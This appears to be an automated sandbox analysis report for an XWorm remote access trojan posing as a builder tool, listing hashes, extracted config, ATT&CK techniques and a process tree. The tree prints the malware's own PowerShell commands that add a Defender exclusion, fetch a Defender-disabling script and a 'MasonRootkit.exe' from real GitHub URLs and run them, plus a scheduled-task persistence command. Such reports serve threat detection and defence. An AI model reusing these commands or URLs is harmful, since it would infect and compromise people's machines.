xworm | 9365fa153dd60ba9703ea92cd37e0c737c5f222012644f6acb0892c558113451

Analysis

max time kernel
54s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2025, 17:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

upOBuilder0.9.7.exe
Size

3.5MB
MD5

c7789a0f8d83e744a84b0b4be0be7158
SHA1

c8ffb47663650341146810daf5ebbc29018b3e1d
SHA256

9365fa153dd60ba9703ea92cd37e0c737c5f222012644f6acb0892c558113451
SHA512

711c59377faad994c4696d16e2718578f82673b2baac9d6d7022a5f37c81bfff71e812e8f5d574bfbfaf748b73d794faccc885d036dea751ea52e108e3dfea7a
SSDEEP

98304:weaJXwmAk5dop8nuxgHe2eBu7jqhbq2OkVV9icA:WAk5dop8nuO1r7jq9nTFip

Score

10^/10

xworm defense_evasion discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

Install_directory
%port%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/J42c6s7r

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000d000000023b64-4.dat	family_xworm
behavioral2/memory/1200-13-0x00000000003E0000-0x00000000003F4000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	4316	powershell.exe
11	4316	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4316	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
11	4316	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	upOBuilder0.9.7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	Shell Infrastructure Host.exe

Executes dropped EXE 3 IoCs

pid	Process
1200	Shell Infrastructure Host.exe
4828	upO Builder 0.9.7.exe
5056	MasonRootkit.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 28 IoCs

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
49	pastebin.com
53	pastebin.com
56	pastebin.com
67	pastebin.com
77	pastebin.com
78	pastebin.com
10	raw.githubusercontent.com
32	pastebin.com
46	pastebin.com
51	pastebin.com
66	pastebin.com
76	pastebin.com
24	pastebin.com
34	pastebin.com
52	pastebin.com
59	pastebin.com
60	pastebin.com
64	pastebin.com
68	pastebin.com
69	pastebin.com
23	pastebin.com
44	pastebin.com
58	pastebin.com
61	pastebin.com
65	pastebin.com
72	pastebin.com
79	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Shell Infrastructure Host.exe	upOBuilder0.9.7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upOBuilder0.9.7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2452	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2908	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
684	powershell.exe
684	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	Shell Infrastructure Host.exe
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 684	1228	upOBuilder0.9.7.exe	87
PID 1228 wrote to memory of 684	1228	upOBuilder0.9.7.exe	87
PID 1228 wrote to memory of 684	1228	upOBuilder0.9.7.exe	87
PID 1228 wrote to memory of 1200	1228	upOBuilder0.9.7.exe	89
PID 1228 wrote to memory of 1200	1228	upOBuilder0.9.7.exe	89
PID 1228 wrote to memory of 4828	1228	upOBuilder0.9.7.exe	90
PID 1228 wrote to memory of 4828	1228	upOBuilder0.9.7.exe	90
PID 1200 wrote to memory of 4316	1200	Shell Infrastructure Host.exe	91
PID 1200 wrote to memory of 4316	1200	Shell Infrastructure Host.exe	91
PID 4316 wrote to memory of 5056	4316	powershell.exe	97
PID 4316 wrote to memory of 5056	4316	powershell.exe	97
PID 1200 wrote to memory of 2908	1200	Shell Infrastructure Host.exe	98
PID 1200 wrote to memory of 2908	1200	Shell Infrastructure Host.exe	98

C:\Users\Admin\AppData\Local\Temp\upOBuilder0.9.7.exe
"C:\Users\Admin\AppData\Local\Temp\upOBuilder0.9.7.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAdgB5ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZwBtACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAZQB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAdABjACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:684
- C:\Windows\Shell Infrastructure Host.exe
  "C:\Windows\Shell Infrastructure Host.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
      "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
      4⤵
      Executes dropped EXE
      PID:5056
    - - C:\ProgramData\MasonRootkit.exe
        
        "C:\ProgramData\MasonRootkit.exe"
        5⤵
        
        PID:2768
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8E12.tmp.bat""
        5⤵
        
        PID:2572
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:2452
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Shell Infrastructure Host" /tr "C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2908
- C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe
  "C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe"
  2⤵
  - Executes dropped EXE
  PID:4828

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{1cbb12aa-f242-4f71-9c7b-9b13ebbc9569}
1⤵
PID:1624

C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe
"C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"
1⤵
PID:2320

C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe
"C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"
1⤵
PID:5116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\MasonRootkit.exe

Filesize
596KB

MD5
bb2fd6c1b233fd2f08a6a43ef860bcb6

SHA1
1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

SHA256
8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

SHA512
2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log

Filesize
1KB

MD5
3982d6d16fd43ae609fd495bb33433a2

SHA1
6c33cd681fdfd9a844a3128602455a768e348765

SHA256
9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

SHA512
4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
019002ea13a9eb47b9c01355e960c1fb

SHA1
dd244b5496ebcaf52dafd5deb086ccad58947420

SHA256
be6e2bbd73302149d51a6907d8b5350227d4d0e564f6dffb848514762c4e1a26

SHA512
ac7cd9ca7986904c844f4023540e8c6f498129f08a007d659975247b33f0e3aec50d8e340350fe8eaa1e76c72ab99872a29e8f7df8ed0ff41ca12b5278a3fa34

Download Submit
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe

Filesize
612KB

MD5
5e1eb1a67d40ccae40dee2a037ca6c64

SHA1
786b54d3d451ea40faeeb20fd30a38744862eeb5

SHA256
80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

SHA512
0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nrcatf44.mga.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8E12.tmp.bat

Filesize
164B

MD5
d488e14ca528ad02ed9f63ce93079267

SHA1
9b209427dc1117b4b6e79e43c2abc675785f00c5

SHA256
ce678ae2f63d5c273e69686ffb226c6bdbee10707b90d09fe4e72a5524bc369d

SHA512
13a9843137f23a464df46be8436d63f4120796168f16a3d57f033b9ba393fb381fcdda4bd210826ca18c049f257eb1c30ef6e121dbc9529ce45afda8bef2592d

Download Submit
C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe

Filesize
3.4MB

MD5
a6b3b0ef9a6ee3c74315a2b8c573e5c8

SHA1
80b75a960a383a824e48dd196416517e7e0525ec

SHA256
49e993c3c40c13c28e32c53e90dde544665cf47ff43d418b7cba94fdf37db82d

SHA512
a3c0363520c40e1e7cd247d02b16add2bb3ad8543e3afce2072b72787a807e8c07158b9f7a5fd5dd80156603bf83319d5593ff41f66781fb3d1729441705001f

Download Submit
C:\Windows\Shell Infrastructure Host.exe

Filesize
55KB

MD5
cc846067069513e0ec3d9ccc42426662

SHA1
308c7d82ec6ba094e0d40d35a3ff042ce38974f1

SHA256
36b04768d3e0cfa350dc7f910305c580138c5af7a9f7b234f9530f36e9efab17

SHA512
5a12d153d5eeab4a6c6abbc7ebf084daa2edbebdce24746174be78bf8d551a3e4e86e4719b0d6c7616ee5f15174a4a5e2a0dda135fdff989797a55da478a1f93

Download Submit
memory/684-1937-0x00000000076E0000-0x0000000007776000-memory.dmp

Filesize
600KB

Download
memory/684-1720-0x00000000074D0000-0x00000000074DA000-memory.dmp

Filesize
40KB

Download
memory/684-29-0x0000000002C10000-0x0000000002C20000-memory.dmp

Filesize
64KB

Download
memory/684-1115-0x0000000002C10000-0x0000000002C20000-memory.dmp

Filesize
64KB

Download
memory/684-30-0x0000000073DDE000-0x0000000073DDF000-memory.dmp

Filesize
4KB

Download
memory/684-44-0x0000000005350000-0x0000000005978000-memory.dmp

Filesize
6.2MB

Download
memory/684-25-0x0000000002B70000-0x0000000002BA6000-memory.dmp

Filesize
216KB

Download
memory/684-1187-0x0000000074700000-0x000000007474C000-memory.dmp

Filesize
304KB

Download
memory/684-1204-0x0000000007310000-0x00000000073B3000-memory.dmp

Filesize
652KB

Download
memory/684-3429-0x0000000007780000-0x0000000007788000-memory.dmp

Filesize
32KB

Download
memory/684-3330-0x00000000077A0000-0x00000000077BA000-memory.dmp

Filesize
104KB

Download
memory/684-1260-0x0000000073DDE000-0x0000000073DDF000-memory.dmp

Filesize
4KB

Download
memory/684-1116-0x0000000002C10000-0x0000000002C20000-memory.dmp

Filesize
64KB

Download
memory/684-1186-0x00000000066C0000-0x00000000066F2000-memory.dmp

Filesize
200KB

Download
memory/684-3179-0x00000000076B0000-0x00000000076C4000-memory.dmp

Filesize
80KB

Download
memory/684-92-0x0000000005260000-0x0000000005282000-memory.dmp

Filesize
136KB

Download
memory/684-1197-0x00000000066A0000-0x00000000066BE000-memory.dmp

Filesize
120KB

Download
memory/684-1476-0x0000000007440000-0x000000000745A000-memory.dmp

Filesize
104KB

Download
memory/684-104-0x0000000005C10000-0x0000000005F64000-memory.dmp

Filesize
3.3MB

Download
memory/684-96-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/684-105-0x0000000006100000-0x000000000611E000-memory.dmp

Filesize
120KB

Download
memory/684-106-0x0000000006150000-0x000000000619C000-memory.dmp

Filesize
304KB

Download
memory/684-2925-0x00000000076A0000-0x00000000076AE000-memory.dmp

Filesize
56KB

Download
memory/684-2213-0x0000000007660000-0x0000000007671000-memory.dmp

Filesize
68KB

Download
memory/684-28-0x0000000002C10000-0x0000000002C20000-memory.dmp

Filesize
64KB

Download
memory/684-93-0x0000000005A30000-0x0000000005A96000-memory.dmp

Filesize
408KB

Download
memory/684-1475-0x0000000007A80000-0x00000000080FA000-memory.dmp

Filesize
6.5MB

Download
memory/1200-12-0x00007FFA66363000-0x00007FFA66365000-memory.dmp

Filesize
8KB

Download
memory/1200-8265-0x000000001B0E0000-0x000000001B0F0000-memory.dmp

Filesize
64KB

Download
memory/1200-13-0x00000000003E0000-0x00000000003F4000-memory.dmp

Filesize
80KB

Download
memory/1200-6698-0x000000001B0E0000-0x000000001B0F0000-memory.dmp

Filesize
64KB

Download
memory/2768-6531-0x000002AB2CC20000-0x000002AB2CCBA000-memory.dmp

Filesize
616KB

Download
memory/4316-3274-0x0000028C6B490000-0x0000028C6B9B8000-memory.dmp

Filesize
5.2MB

Download
memory/4316-1198-0x0000028C685A0000-0x0000028C685C2000-memory.dmp

Filesize
136KB

Download
memory/4316-3245-0x0000028C6AD90000-0x0000028C6AF52000-memory.dmp

Filesize
1.8MB

Download
memory/4828-83-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-77-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-49-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-42-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-47-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-40-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-37-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-32-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-31-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-1004-0x00007FFA66360000-0x00007FFA66E21000-memory.dmp

Filesize
10.8MB

Download
memory/4828-63-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-55-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-57-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-59-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-61-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-69-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-67-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-76-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-87-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-53-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-82-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-108-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-91-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-110-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-89-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-85-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-79-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-71-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-74-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-65-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-24-0x0000000000810000-0x0000000000828000-memory.dmp

Filesize
96KB

Download
memory/4828-27-0x000000001B460000-0x000000001B99E000-memory.dmp

Filesize
5.2MB

Download
memory/4828-51-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-45-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-38-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-35-0x000000001B460000-0x000000001B99A000-memory.dmp

Filesize
5.2MB

Download
memory/4828-26-0x00007FFA66360000-0x00007FFA66E21000-memory.dmp

Filesize
10.8MB

Download
memory/5056-5807-0x0000000000230000-0x00000000002D0000-memory.dmp

Filesize
640KB

Download
memory/5056-5808-0x0000000002290000-0x0000000002328000-memory.dmp

Filesize
608KB

Download